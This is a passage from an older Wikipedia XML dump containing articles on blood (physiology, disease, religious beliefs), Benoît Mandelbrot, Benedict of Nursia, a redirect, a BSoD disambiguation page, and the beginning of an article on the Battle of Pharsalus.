The main function of blood is to supply nutrients ([[oxygen]], [[glucose]]) and constitutional elements to [[biological tissue|tissues]] and to remove waste products (such as [[carbon dioxide]] and [[lactic acid]]). Blood also enables cells ([[leukocyte]]s, abnormal [[tumor]] cells) and different substances ([[amino acid]]s, [[lipid]]s, [[hormone]]s) to be transported between tissues and organs. Problems with blood composition or circulation can lead to downstream tissue dysfunction.

The blood is circulated around the [[lungs]] and body by the [[pump|pumping]] action of the [[heart]].

==Anatomy of blood==
Blood is composed of several kinds of corpuscles; these ''formed elements'' of the blood constitute about 45% of whole blood. The other 55% is [[blood plasma]], a yellowish fluid that is the blood's liquid medium. The normal [[pH]] of human arterial blood is approximately 7.40 (normal range is 7.35-7.45). Blood that has a [[pH]] below 7.35 is [[acidic]], while blood [[pH]] above 7.45 is [[alkaline]].  Blood [[pH]] along with [[paCO2]] and [[HCO3]] readings are helpful in determining the acid-base balance of the body.  Blood is about 7% of the human body weight [http://www.bloodcenters.org/aboutblood/bloodfacts.htm], so the average adult has a blood volume of about 5 liters, of which 2.7-3 liters is plasma. 
The combined surface area of all the erythrocytes in the human anatomy would be roughly 2,000 times as great as the body's exterior surface.

The corpuscles are:
*''[[Red blood cell]]s or erythrocytes'' (96%). In mammals, mature red blood cells lack a [[Cell nucleus|nucleus]] and [[organelle]]s. They contain the blood's hemoglobin and distribute oxygen. The red blood cells (together with endothelial vessel cells and some other cells) are also marked by proteins that define different [[blood type]]s.
*''[[White blood cell]]s or leukocytes'' (3.0%), are part of the [[immune system]]; they destroy infectious agents.
*''[[Platelet]]s or thrombocytes'' (1.0%) are responsible for blood clotting ([[coagulation]])

[[Blood plasma]] is essentially an [[water|aqueous]] solution containing 96% water, 4% blood plasma [[protein]]s, and trace amounts of other materials. Some components are:
* [[albumin]]
* [[coagulation|blood clotting factors]]
* [[antibody|immunoglobulins]] (antibodies)
* [[hormone]]s
* various other [[protein]]s
* various [[electrolyte]]s (mainly [[sodium]] and [[chlorine]])

Together, plasma and corpuscles form a [[non-Newtonian fluid]] whose flow properties are uniquely adapted to the architecture of the blood vessels.

==Physiology of blood==
===Production and degradation===
Blood cells are produced in the [[bone marrow]]; the process is termed [[hematopoiesis]]. The proteinaceous component is produced overwhelmingly in the [[liver]], while hormones are produced by the [[endocrine gland]]s and the watery fraction maintained by the [[gut]] and the [[kidney]].

Blood cells are degraded by the [[spleen]] and the [[Kupffer cell]]s in the liver. The liver also clears proteins and [[amino acid]]s (the kidney secretes many small proteins into the [[urine]]). Erythrocytes usually live up to 120 days before they are systematically replaced by new erythrocytes created by the process of hematopoiesis.

===Transport of oxygen===
Blood oxygenation is measured with the [[partial pressure]] of oxygen. 98.5% of the oxygen is chemically combined with the [[Hb]]. Only 1.5% is physically dissolved. The [[hemoglobin]] molecule is the primary transporter of oxygen in mammals and many other species.

With the exception of [[Pulmonary artery|pulmonary]] and [[Umbilical artery|umbilical arteries]] and their corresponding veins, [[artery|arteries]] carry oxygenated blood away from the [[heart]] and deliver it to the body via [[arteriole]]s and [[capillary|capillaries]], where the oxygen is consumed; afterwards, [[venule]]s and [[vein]]s carry deoxygenated blood back to the heart. 

Under normal conditions in humans, hemoglobin in blood leaving the lungs is about 96-97% saturated with oxygen; 'deoxygenated' blood returning to the lungs is still approximately 75% saturated.[http://home.hia.no/~stephens/ventphys.htm][http://groups.msn.com/TransplantSupportLungHeartLungHeart/oxygen2.msnw]  A fetus, receiving oxygen via the placenta, is exposed to much lower oxygen pressures (about 20% of the level found in an adult's lungs) and so fetuses produce another form of hemoglobin with a much higher affinity for oxygen (hemoglobin F) in order to extract as much oxygen as possible from this sparse supply.[http://members.aol.com/Bio50/LecNotes/lecnot20.html]

====Insects====
In [[insect]]s, the blood (more properly called [[hemolymph]]) is not involved in the transport of oxygen. (Openings called [[trachea]]e allow oxygen from the air to diffuse directly to the tissues). Insect blood moves nutrients to the tissues and removes waste products.

====Small invertebrates====
In some small [[invertebrate]]s like [[insects]], oxygen is simply dissolved in the plasma. Larger animals use respiratory proteins to increase the oxygen carrying capacity. Hemoglobin is the most common respiratory protein found in nature. [[Hemocyanin]] ([[blue]]) contains [[copper]] and is found in [[crustacean]]s and [[mollusk]]s. It is thought that [[tunicate]]s (sea squirts) might use [[vanabins]]  ([[protein]]s containing [[vanadium]]) for respiratory pigment (bright [[green]], blue, or [[orange (colour)|orange]]).

In many invertebrates, these oxygen-carrying proteins are freely soluble in the blood; in vertebrates they are contained in specialized [[red blood cell]]s, allowing for a higher concentration of respiratory pigments without increasing [[viscosity]] or damaging blood filtering organs like the [[kidneys]].

===Transport of carbon dioxide===
When systemic arterial blood flows through capillaries, carbon dioxide diffuses from the tissues into the blood. Some carbon dioxide is dissolved in the blood. Some carbon dioxide reacts with hemoglobin to form [[carbamino hemoglobin]]. The remaining carbon dioxide is converted to [[bicarbonate]] and [[hydrogen ion]]s.  Most carbon dioxide is transported through the blood in the form of bicarbonate ions.

===Transport of hydrogen ions===
Some oxyhemoglobin loses oxygen and becomes deoxyhemoglobin. Deoxyhemoglobin has a much greater affinity for H+ than does oxyhemoglobin so it binds most of the hydrogen ions.

===Color===
In humans and other hemoglobin-using creatures, oxygenated blood is a bright red in color. Deoxygenated blood is a darker shade of red, which can be seen during blood donation and when venous blood samples are taken. However, due to an optical effect caused by the way in which light penetrates through the skin, veins typically appear blue in color.[http://www.people.virginia.edu/~rjh9u/blueblud.html] This has led to a common misconception that before venous blood is exposed to air it is blue.

==Health and disease==
===Ancient medicine===
[[Hippocrates|Hippocratic]] medicine considered blood one of the [[four humors]] (together with [[phlegm]], [[yellow bile]] and [[black bile]]). As many diseases were thought to be due to an excess of blood, [[bloodletting]] and [[leeching]] were a common intervention until the [[19th century]] (it is still used for some rare blood disorders).

In classical Greek medicine, blood was associated with air, springtime, and with a merry and gluttonous (''sanguine'') personality. It was also believed to be produced exclusively by the [[liver]].

===Diagnosis===
[[Blood pressure]] and [[blood test]]s are amongst the most commonly performed diagnostic investigations that directly concern the blood.

===Pathology===
''See also [[blood diseases]]''

Problems with blood circulation and composition play a role in many diseases.
* [[Injury|Wounds]] can cause major blood loss (see [[bleeding]]). The [[thrombocyte]]s cause the blood to [[coagulation|coagulate]], blocking relatively minor wounds, but larger ones must be repaired at speed to prevent [[exsanguination]]. Damage to the internal organs can cause severe [[internal bleeding]], or [[hemorrhage]].
* Circulation blockage can also create many medical conditions from [[ischemia]] in the short term to tissue [[necrosis]] and [[gangrene]] in the long term.
* [[Hemophilia]] is a genetic illness that causes dysfunction in one of the blood's [[coagulation|clotting mechanism]]s. This can allow otherwise inconsequential wounds to be life-threatening, but more commonly results in [[hemarthrosis]], or bleeding into joint spaces, which can be crippling.
* [[Leukemia]] is a group of [[cancer (medicine)|cancers]] of the blood-forming tissues.
* Major blood loss, whether traumatic or not (e.g. during surgery), as well as certain blood diseases like [[anemia]] and [[thalassemia]], can require [[blood transfusion]]. Several countries have [[blood bank|blood banks]] to fill the demand for transfusable blood. A person receiving a blood transfusion must have a [[blood type]] compatible with that of the donor.
* Blood is an important vector of infection. [[HIV]], the [[virus]] which causes [[AIDS]], is transmitted through contact between blood, [[semen]], or the bodily secretions of an infected person. [[Hepatitis B]] and [[Hepatitis C|C]] are transmitted primarily through blood contact. Owing to [[blood-borne infection]]s, bloodstained objects are treated as a [[Biological hazard|biohazard]].
* Infection of the blood is [[bacteremia]] or [[sepsis]]. [[Malaria]] and [[trypanosomiasis]] are blood-borne parasitic infections.

===Treatment===
[[Blood transfusion]] is the most direct therapeutic use of blood. It is obtained from human donors by [[blood donation]]. As there are different [[blood type]]s, and transfusion of the incorrect blood may cause severe complications, [[crossmatching]] is done to ascertain the correct type is transfused.

Other blood products administered [[intravenous]]ly are platelets, blood plasma, cryoprecipitate and specific coagulation factor concentrates.

Many forms of medication (from [[antibiotic]]s to [[chemotherapy]]) are administered intravenously, as they are not readily or adequately absorbed by the digestive tract.

As stated above, some diseases are still treated by removing blood from the circulation.

It is the fluid part of the blood that saves lives where severe blood loss occurs, other preparations can be given such as ringers atopical plasma volume expander as a non-blood alternative, and these alternatives where used are rivalling blood use where used.

==Mythology and religion==
Due to its importance to life, blood is associated with a large number of beliefs. One of the most basic is the use of blood as a symbol for family relationships; to be &quot;related by blood&quot; is to be related by ancestry or descendance, rather than marriage. This bears closely to [[bloodline]]s, and sayings such as &quot;blood is thicker than water&quot; and &quot;bad blood&quot;, as well as &quot;[[Blood brother]]&quot;.

===Indo-European paganism===
Among the [[Germanic tribe]]s (such as the [[Anglo-Saxons]] and the [[Viking]]s), blood was used during the sacrifices, the ''[[Blót]]s''. The blood was considered to have the power of its originator and after the butchering the blood was sprinkled on the walls, on the statues of the gods and on the participants themselves. This act of sprinkling blood was called ''bleodsian'' in [[Old English language|Old English]] and the terminology was borrowed by the [[Roman Catholic Church]] becoming ''to bless'' and ''blessing''. The [[Hittite language|Hittite]] word for blood, ''ishar'' was a cognate to words for &quot;oath&quot; and &quot;bond&quot;, see [[Ishara]].

===Judaism===
In [[Judaism]], blood cannot be consumed even in the smallest quantity ([[Leviticus]] 3:17 and elsewhere); this is reflected in the [[Kashrut|dietary laws]]. Blood is purged from [[meat]] by [[salting (food)|salting]] and [[pickling]]. 

Other rituals involving blood are the covering of the blood of [[fowl]] and [[game]] after slaughtering ([[Leviticus]] 17:13); the reason given by the [[Torah]] is: &quot;Because the life of every animal is [in] his blood&quot; (ibid 17:14), although from its context in [[Leviticus]] 3:17 it would appear that blood cannot be consumed because it is to be used in the [[sacrifice|sacrificial service]] (known as the ''[[korbanot]]''), in the [[Temple in Jerusalem]].

Ironically, [[Judaism]] has historically been the religion to be most affected by [[blood libel]]s.

===Christianity===
[[Christianity|Christians]] believe that the [[Eucharist]] [[wine]] [[transubstantiation|is]], or [[memorialism|represents]], the blood of [[Jesus]]. This belief is rooted in [[the Last Supper]] as written in the four gospels of the [[Bible]], in which Jesus stated to his [[disciples]] that the bread which they ate was his body, and the wine his blood. ''&quot;This cup is the new testament in my blood, which is shed for you.&quot; (Luke 22:20, [[King James Version of the Bible|KJV]])''. The accepted Christian belief is that Jesus' blood atoned for the sins of the people.

===Jehovah's Witnesses===
{{main|Jehovah's Witnesses and blood}}

[[Jehovah's Witnesses]] are prohibited from eating blood and accepting tranfusions of whole blood or any of red cells, white cells, platelets or plasma. They are permitted to accept fractions, and the acute normovolemic hemodilution (ANH) and autologous blood salvage (cell saver) procedures.

===Vampire legends===
[[Vampire]]s are fictional beings thought to cheat death by drinking the blood of the living.

===Chinese and Japanese culture===
In Chinese culture, it is often said that if a man's nose produces a small flow of blood, this signifies that he is experiencing sexual desire. This often appears in [[China|Chinese-language]] and [[Hong Kong]] [[film]]s.
This is also evident in [[Japan]]ese culture and is parodied in [[anime]] and [[manga]].   Male characters will often be shown with a [[nosebleed]] if they have just seen a female nude or in little clothing, or if they have had an erotic thought or fantasy.

==See also==
* [[Artificial blood]]
* [[List of human blood components]]
* Blood as [[food]]: see [[black pudding]]
* Blood and [[video game censorship]]
* [[Taboo food and drink#Blood|Taboo food and drink]]
* [[Blood donation]]
* [[Blood types]]

{{blood}}
{{cardiovascular_system}}

[[Category:Cardiovascular system]]
[[Category:Blood|*]]

[[bg:Кръв]]
[[bs:Krv]]
[[ca:Sang]]
[[cs:Krev]]
[[cy:Gwaed]]
[[da:Blod]]
[[de:Blut]]
[[es:Sangre]]
[[eo:Sango]]
[[fa:خون]]
[[fr:Sang]]
[[gd:Fuil]]
[[gl:Sangue]]
[[ko:혈액]]
[[id:Darah]]
[[ia:Sanguine]]
[[it:Sangue]]
[[he:דם]]
[[lt:Kraujas]]
[[hu:Vér]]
[[mk:Крв]]
[[ms:Darah]]
[[nl:Bloed]]
[[nds:Blood]]
[[ja:血液]]
[[no:Blod]]
[[nn:Blod]]
[[pam:Daya]]
[[pl:Krew]]
[[pt:Sangue]]
[[ru:Кровь]]
[[sq:Gjaku]]
[[simple:Blood]]
[[sk:Krv]]
[[sl:Kri]]
[[sr:Крв]]
[[su:Getih]]
[[fi:Veri]]
[[sv:Blod]]
[[tr:Kan]]
[[uk:Кров]]
[[zh:血液]]</text>
    </revision>
  </page>
  <page>
    <title>Benoît Mandelbrot</title>
    <id>3999</id>
    <revision>
      <id>41796731</id>
      <timestamp>2006-03-01T20:36:58Z</timestamp>
      <contributor>
        <username>Avraham</username>
        <id>353669</id>
      </contributor>
      <minor />
      <comment>/* Suggested reading */ [[Category:Jewish mathematicians|</comment>
      <text xml:space="preserve">[[Image:Benoit Mandelbrot.gif|thumb|right|Benoît Mandelbrot]]
'''Benoît B. Mandelbrot''' (born [[November 20]], [[1924]]) is a [[Poland|Polish]]-born [[France|French]] [[mathematics|mathematician]] and leading proponent of [[fractal]] [[geometry]]. He is [[Sterling Professor]] of Mathematical Sciences, [[Emeritus]] at [[Yale University]] and [[International Business Machines|IBM]] [[Fellow]] [[Emeritus]] at the [[Thomas J. Watson Research Center]].

==Early years==

Born in [[Warsaw]], Mandelbrot lived in [[France]] from the age of 12 to near the end of his college studies. He was born into a family with a strong academic tradition - his mother was a medical doctor and his uncle, [[Szolem Mandelbrojt]], was a famous Parisian mathematician. His father, however, made his living trading clothing. His family left Poland for Paris in [[1936]]. There, Benoît was introduced to mathematics by his two uncles.

Mandelbrot attended the Lycée Rolin in Paris until the start of [[World War II]], when his family moved to [[Tulle]]. In [[1944]] he returned to Paris to attend the [[École Polytechnique]], where he studied under [[Gaston Julia]] and [[Paul Lévy]]. He graduated from the École Polytechnique in [[1947]], and spent two years at the [[California Institute of Technology]] where he studied aeronautics. Back in France, he studied for a Ph.D. in Mathematical Sciences at the [[University of Paris]], graduating in [[1952]].

From [[1949]] to [[1957]] Mandelbrot was a staff member at the [[Centre National de la Recherche Scientifique]]. During this time he spent a year at the [[Institute for Advanced Study]] in [[Princeton Township, New Jersey|Princeton]] where he was sponsored by [[John von Neumann]]. In [[1955]] he married Aliette Kagan and moved to [[Geneva]].

In [[1958]] the couple moved to the United States where Mandelbrot joined the research staff at the [[International Business Machines|IBM]] [[Thomas J. Watson Research Center]] in [[Yorktown Heights, New York|Yorktown Heights]], [[New York]]. He remained at IBM for the rest of his working life, becoming an [[IBM Fellow]], and later Fellow [[Emeritus]].

==Later years==
From 1955 onwards Mandelbrot worked on problems and published papers in fields as diverse as [[information theory]], [[economics]] and [[fluid dynamics]]. He became convinced that a common theme of [[self-similar]] structures ran through all of these real-world problems. In [[1975]] Mandelbrot coined the term ''[[fractal]]'' to describe these structures, and published his ideas in ''Les objets fractals, forme, hasard et dimension'' (translated into English as ''Fractals: form, chance and dimension'') in [[1977]].

In [[1979]], while on secondment as Visiting Professor of Mathematics at [[Harvard University]], Mandelbrot began to study fractals called [[Julia set]]s that were invariant under certain transformations of the [[complex plane]]. Building on previous work by [[Gaston Julia]] and [[Pierre Fatou]], Mandelbrot used a computer to plot images of the Julia sets of the formula ''z''&lt;sup&gt;2&lt;/sup&gt; - μ. While investigating how the topology of these Julia sets depended on the complex parameter μ he discovered the [[Mandelbrot set]] fractal that is now named after him (note that the Mandelbrot set is now usually defined in terms of the formula ''z''&lt;sup&gt;2&lt;/sup&gt; + ''c'', so Mandelbrot's early plots in terms of his parameter μ are left-right mirror images of more recent plots in terms of the parameter ''c'') .

In [[1982]] Mandelbrot published an expanded and updated version of his ideas in ''The Fractal Geometry of Nature''. This influential work brought fractals into the mainstream of both professional and popular mathematics.

On his retirement from IBM in [[1987]], Mandelbrot joined the faculty of [[Yale University|Yale]] as Sterling Professor of Mathematical Sciences. He was awarded the [[Lewis Fry Richardson]] prize of the European Geophysical Society in 2000. Mandelbrot was awarded the prestigious [[Japan Prize]] in 2003. The [[asteroid]] [[27500 Mandelbrot]] was named in his honour.

==Mandelbrot and fractals==
[[image:Mandelpart2.jpg|thumb|right|Benoît Mandelbrot was the first to use a computer to plot the [[Mandelbrot set]].]]
Although Mandelbrot invented the word ''fractal'', many of the objects featured in ''The Fractal Geometry of Nature'' had been previously described by other mathematicians (the [[Mandelbrot set]] being a notable exception). However, they had been regarded as isolated curiosities with unnatural and non-intuitive properties. Mandelbrot brought these objects together for the first time and highlighted their common properties, such as self-similarity (sometimes partial or statistical), [[scale invariance]] and (usually) non-integer [[Hausdorff dimension]].

He also emphasized the use of fractals as realistic and useful models of many natural phenomena, including the shape of [[coastline]]s and river basins; the structure of plants, [[blood vessel]]s and [[lung]]s; the clustering of [[galaxy|galaxies]]; [[Brownian motion]]; and [[stock market]] prices. Far from being unnatural, Mandelbrot held the view that fractals were, in many ways, more intuitive and natural than the artificially smooth objects of traditional [[Euclidean geometry]]. As he says in the Introduction to ''The Fractal Geometry of Nature'':

:''Clouds are not spheres, mountains are not cones, coastlines are not circles, and bark is not smooth, nor does lightning travel in a straight line.''

Mandelbrot's informal and passionate style of writing and his emphasis on visual and geometric intuition (supported by the inclusion of numerous illustrations) made ''The Fractal Geometry of Nature'' accessible to non-specialists. It sparked a widespread popular interest in fractals as well as contributing to new fields of science such as [[chaos theory]].

==Pronunciation==

The pronunciation of the name &quot;Mandelbrot&quot;, which is a [[Yiddish language|Yiddish]] and [[German language|German]] word meaning &quot;almond bread&quot;, is given variously in dictionaries. The ''Merriam-Webster Collegiate Dictionary'' and the ''Longman Pronouncing Dictionary'' give {{IPA|[ˈmæn.dəlˌbɹoʊt]}} (first syllable sounds like &quot;man&quot;; last syllable rhymes with &quot;boat&quot;); the ''Bollard Pronouncing Dictionary of Proper Names'' gives {{IPA|[ˈmæn.dəlˌbɹɔː]}} (last syllable rhymes with &quot;draw&quot;); the ''American Heritage Dictionary'' gives {{IPA|[ˈmɑːn.dəlˌbɹɑt]}} (first syllable has the vowel sound of the 'a' in &quot;father&quot;; last syllable rhymes with &quot;pot&quot;).

==See also==

* [[How Long Is the Coast of Britain? Statistical Self-Similarity and Fractional Dimension]]

== External links ==
{{wikiquote}}
* [http://www.math.yale.edu/mandelbrot/ Mandelbrot's page at Yale]
* [http://www.yaleeconomicreview.com/fall2005/fractalfinance.php Yale Economic Review - Review of The (mis)Behavior of Markets]
* [http://www.polytechnique.edu/interview.php?id=12 Interview of the École Polytechnique site]
* [http://www.bookrags.com/biography/benoit-b-mandelbrot/ Biography of Mandelbrot]
* [http://mitworld.mit.edu/play/52/ Video stream of Mandelbrot lecturing at MIT]
* {{MacTutor Biography|id=Mandelbrot}}

== Suggested reading ==

* ''The Fractal Geometry of Nature'', by Benoît Mandelbrot; W H Freeman &amp; Co, 1982; ISBN 0716711869
* ''The (Mis)Behavior of Markets: A Fractal View of Risk, Ruin, and Reward'', by Benoit Mandelbrot and Richard L. Hudson; Basic Books, 2004; ISBN 0-465-04355-0
[[Category:1924 births|Mandelbrot, Benoit]]
[[Category:Living people|Mandelbrot, Benoit]]
[[Category:French mathematicians|Mandelbrot, Benoit]]
[[Category:Jewish mathematicians|Mandelbrot, Benoit]]
[[Category:Polish mathematicians|Mandelbrot, Benoit]]
[[Category:Alumni of the École Polytechnique|Mandelbrot, Benoit]]
[[Category:Yale University|Mandelbrot, Benoit]]
[[Category:Members and associates of the US National Academy of Sciences|Mandelbrot, Benoit]]
[[Category:IBM employees|Mandelbrot, Benoit]]
[[Category:20th century mathematicians|Mandelbrot, Benoit]]

[[af:Benoit Mandelbrot]]
[[bg:Беноа Манделброт]]
[[de:Benoît Mandelbrot]]
[[es:Benoît Mandelbrot]]
[[eu:Benoit Mandelbrot]]
[[fa:بنویت مندلبروت]]
[[fr:Benoît Mandelbrot]]
[[ko:브누아 만델브로]]
[[hr:Benoît Mandelbrot]]
[[io:Benoit Mandelbrot]]
[[is:Benoît Mandelbrot]]
[[it:Benoît Mandelbrot]]
[[he:בנואה מנדלברוט]]
[[hu:Benoît Mandelbrot]]
[[nl:Benoît Mandelbrot]]
[[ja:ブノワ・マンデルブロ]]
[[no:Benoît Mandelbrot]]
[[pl:Benoit Mandelbrot]]
[[pt:Benoît Mandelbrot]]
[[ru:Мандельброт, Бенуа]]
[[sk:Benoît Mandelbrot]]
[[sl:Benoit Mandelbrot]]
[[fi:Benoit Mandelbrot]]
[[sv:Benoît B. Mandelbrot]]
[[zh:曼德勃罗]]</text>
    </revision>
  </page>
  <page>
    <title>Benedict of Nursia</title>
    <id>4001</id>
    <revision>
      <id>41846562</id>
      <timestamp>2006-03-02T03:01:26Z</timestamp>
      <contributor>
        <username>Kripkenstein</username>
        <id>911653</id>
      </contributor>
      <minor />
      <comment>Removed unnecessary boldface</comment>
      <text xml:space="preserve">:''For other Saint Benedicts see [[Saint Benedict (disambiguation)]]''

[[Image:Benedict.jpg|right]]
[[Saint]] '''Benedict of Nursia''' (c. [[480]] &amp;ndash; [[547]]), born at Nursia ([[Norcia]]), [[Italy]], was the founder of western [[monasticism]].  Many of those monastic men and women belong to a [[Christian]] [[religious order]] named in his honor, the [[Order of Saint Benedict]].

He was canonized in 1220. The only authentic life of Benedict of Nursia is that contained in the second book of [[Pope Gregory I|St. Gregory]]'s ''Dialogues''. It is more of a character sketch than a biography and consists, for the most part, of a number of miraculous incidents, which, although they illustrate the life of the saint, give little help towards a chronological account of his career. St. Gregory's authorities for all that he relates were the saint's own disciples, viz. [[Constantinus]], who succeeded him as [[Abbot]] of [[Monte Cassino]]; and Honoratus, who was Abbot of [[Subiaco, Italy|Subiaco]] when St. Gregory wrote his ''Dialogues''.

==Biography==

Benedict was the son of a [[Roman Empire|Roman]] noble of Nursia, and a tradition, which [[St. Bede]] accepts, makes him a twin with his sister [[Scholastica]].  St. Gregory's narrative makes it impossible to suppose him younger than nineteen or twenty. He was old enough to be in the midst of his literary studies, to understand the real meaning and worth of the dissolute and licentious lives of his companions, and to have been deeply affected himself by the love of a woman (Ibid. II, 2). He was capable of weighing all these things in comparison with the life taught in the [[Gospels]], and chose the latter. He was at the beginning of life, and he had at his disposal the means to a career as a Roman noble; clearly he was not a child. If we accept the date 480 for his birth, we may fix the date of his abandonment of his studies and leaving home at about A.D. [[500]].
Benedict does not seem to have left Rome for the purpose of becoming a [[hermit]], but only to find some place away from the life of the great city; moreover, he took his old nurse with him as a servant and they settled down to live in [[Enfide]], near a church  to [[St. Peter]], in some kind of association with ''a company of virtuous men'' who were in sympathy with his feelings and his views of life. Enfide, which the tradition of Subiaco identifies with the modern [[Affile]], is in the [[Simbrucini]] mountains, about forty miles from Rome and two from Subiaco. [[image:it238th.jpg|right]]

A short distance from Enfide is the entrance to a narrow, gloomy valley, penetrating the mountains and leading directly to Subiaco. Crossing the [[Anio]] and turning to the right, the path rises along the left face oft the ravine and soon reaches the site of [[Nero]]'s [[villa]] and of the huge mole which formed the lower end of the middle lake; across the valley were ruins of the [[Roman baths]], of which a few great arches and detached masses of wall still stand. Rising from the mole upon twenty five low arches, the foundations of which can even yet be traced, was the bridge from the villa to the baths, under which the waters of the middle lake poured in a wide fall into the lake below. The ruins of these vast buildings and the wide sheet of falling water closed up the entrance of the valley to St. Benedict as he came from Enfide; to-day the narrow valley lies open before us, closed only by the far off mountains. The path continues to ascend, and the side of the ravine, on which it runs, becomes steeper, until we reach a cave above which the mountain now rises almost perpendicularly; while on the right hand it strikes in a rapid descent down to where, in St. Benedict's day, five hundred feet below, lay the blue waters of the lake. The cave has a large triangular-shaped opening and is about ten feet deep. On his way from Enfide, Benedict met a monk, Romanus, whose monastery was on the mountain above the cliff overhanging the cave. Romanus had discussed with Benedict the purpose which had brought him to Subiaco, and had given him the monk's habit. By his advice Benedict became a hermit and for three years, unknown to men, lived in this cave above the lake. St. Gregory tells us little of these years. He now speaks of Benedict no longer as a youth (''puer''), but as a man (''vir'') of God. Romanus, he twice tells us, served the saint in every way he could. The monk apparently visited him frequently, and on fixed days brought him food.

During these three years of solitude, broken only by occasional communications with the outer world and by the visits of Romanus, he matured both in mind and character, in knowledge of himself and of his fellow-man, and at the same time he became not merely known to, but secured the respect of, those about him; so much so that on the death of the abbot of a monastery in the neighbourhood (identified by some with [[Vicovaro]]), the community came to him and begged him to become its abbot. Benedict was acquainted with the life and discipline of the monastery, and knew that ''their manners were diverse from his and therefore that they would never agree together: yet, at length, overcome with their entreaty, he gave his consent'' (ibid., 3). The experiment failed; the monks tried to poison him, and he returned to his cave. From this time his miracles seem to have become frequent, and many people, attracted by his sanctity and character, came to Subiaco to be under his guidance. For them he built in the valley twelve monasteries, in each of which he placed a superior with twelve monks. In a thirteenth he lived with ''a few, such as he thought would more profit and be better instructed by his own presence'' (ibid., 3). He remained, however, the father or abbot of all. With the establishment of these monasteries began the schools for children; and amongst the first to be brought were Maurus and Placid.

St. Benedict spent the rest of his life realizing the ideal of monasticism which he had drawn out in his [[Rule of St Benedict|rule]]. He died at [[Monte Cassino, Italy]] on March 21 and was named patron protector of Europe by Pope Paul VI in 1964.  His feast day is July 11.

==See also==
* [[Benedictine|Benedictine Order]]
* [[Rule of St Benedict]]
* [[Anthony_the_Great|Saint Anthony the Great]]


{{catholic}}

[[Category:Italian saints]]
[[Category:Benedictines]]
[[Category:History of Catholic monasticism]]
[[Category:Natives of Umbria]]
[[Category:480 births]]
[[Category:547 deaths]]

[[de:Benedikt von Nursia]]
[[es:Benito de Nursia]]
[[fr:Benoît de Nursie]]
[[hr:Sveti Benedikt]]
[[it:San Benedetto da Norcia]]
[[la:Benedictus de Nursia]]
[[hu:Nursiai Szent Benedek]]
[[nl:Benedictus van Nursia]]
[[ja:ベネディクトゥス]]
[[pl:Benedykt z Nursji]]
[[pt:Bento de Núrsia]]
[[sk:Benedikt z Nursie]]
[[sv:Benedikt av Nursia]]
[[ru:Бенедикт Нурсийский]]
[[uk:Бенедикт Святий]]</text>
    </revision>
  </page>
  <page>
    <title>Beaumarchais</title>
    <id>4003</id>
    <revision>
      <id>15902305</id>
      <timestamp>2002-10-10T09:16:01Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Pierre_Beaumarchais]]</comment>
      <text xml:space="preserve">#REDIRECT [[Pierre_Beaumarchais]]</text>
    </revision>
  </page>
  <page>
    <title>BSoD (disambiguation)</title>
    <id>4004</id>
    <revision>
      <id>39346807</id>
      <timestamp>2006-02-12T15:13:29Z</timestamp>
      <contributor>
        <username>Computerjoe</username>
        <id>145799</id>
      </contributor>
      <text xml:space="preserve">{{disambig}}

[[BSoD]] is the [[abbreviation]] for 
* [[Black screen of death]] &amp;mdash; a failure mode of [[Windows 3.x]] and a system or application error screen in [[OS/2]]
* '''Black Screen of Death''' &amp;mdash; dark electro producer
* [[Blue Screen of Death]] &amp;mdash; a system error screen in all versions of [[Microsoft Windows]]

The original abbreviation referred to the Windows 3.x failure mode, but over time the system error screens came to be referred to as &quot;screens of death&quot; too.  The [[Jargon File]] suggests that the term was originally an allusion to the &quot;floating head of death&quot; in a popular ''[[The Far Side|Far Side]]'' cartoon.
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    <title>Battle of Pharsalus</title>
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      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Pharsalus
|partof=the [[Roman Republican civil wars]]|
|image=[[Image:Battle pharsalus.gif|300px]]
|caption=
|date=[[August 9]], [[48 BC]]|
|place=[[Pharsalus]] ([[Greece]])
|result=Caesarian victory
|combatant1=[[Populares]]
|combatant2=[[Optimates]]
|commander1=[[Julius Caesar]]
|commander2=[[Pompey|Gnaeus Pompeius Magnus]]
|strength1=Approximately 23,000 [[legionaries]], 5,000-10,000 [[Auxiliaries]] and Allies, and Allied Cavalry of 1400
|strength2=Approximately 50,000 [[legionaries]], 4,200 [[Auxiliaries]] and Allies, and Allied Cavalry of 4,000-7,000
|casualties1=1,200
|casualties2=6,000-10,000
}}
{{Campaignbox Caesar's Civil War}}

The '''Battle of Pharsalus''' occurred in [[Pharsalus]], [[Thessaly]], northern [[Greece]].

[[Julius Caesar|Gaius Julius Caesar]] defeated [[Pompey|Gnaeus Pompeius Magnus]] (Pompey) and the [[Roman Senate|Senatorial]] forces at the battle of Pharsalus on [[August 9]], [[48 BC]] and solidified Caesar's control over the ancient Mediterranean world.

Pompey and the Senate's army had left [[Italy]] for [[Greece]], in [[49 BC]]. Caesar, for lack of a fleet, solidified his control over the western Mediterranean &amp;mdash; [[Spain]] and [[North Africa]], specifically, before assembling ships to follow Pompey.

An indecisive winter ([[49 BC|49]]&amp;ndash;[[48 BC]]) of blockade and siege followed.  Pompey eventually pushed Caesar into [[Thessaly]] and attacked at Pharsalus.  Caesar began the battle with a smaller, but veteran, force.  Pompey's troops were more numerous, but far less experienced.  Moreover, Pompey's senatorial allies disagreed with Pompey over whether to fight at Pharsalus, and pushed Pompey into a quick decision.

==Prelude==

After [[Pompey]] and the [[Roman Senate]] fled over to [[Greece]] to avoid Caesar's invasion of [[Italy]], they began to prepare an army to defend themselves in Greece.  Caesar therefore marched overland through southern [[France]] meanwhile, blockading what is now [[Marseille]], and managing to assemble a small fleet.  After crushing Pompey's forces in [[Spain]], Caesar focused once again on Pompey and his troops in Greece.  Pompey had a fleet, as well as much support from all Roman [[provinces]] and [[Client state|client states]] east of Italy.  Caesar, however managed to cross the Adriatic in the winter with [[Marc Antony]] following a little later, because Caesar lacked ships.  Although Pompey had a larger army, he recognized that Caesar's was more experienced, and could prove victorious in a pitched battle. Instead, Pompey waited Caesar's troops out, attempting to starve them by cutting off Caesar's supply lines. After a disastrous attack on Pompey's camp at [[Dyrrhachium]], Caesar was forced to pull away. Pompey did not immediately follow up on his success; but urged on by his senatorial allies, he confronted Caesar near Pharsalus.

Caesar had the following legions with him:
* Legions of veterans from the [[Gallic wars]] &amp;ndash; Caesar's favourite legion, [[Legio X Gemina|X ''Equestris'']], and those later known with the names of [[Legio VIII Augusta|VIII ''Augusta'']], [[Legio IX Hispana|IX ''Hispana'']], and [[Legio XII Fulminata|XII ''Fulminata'']]
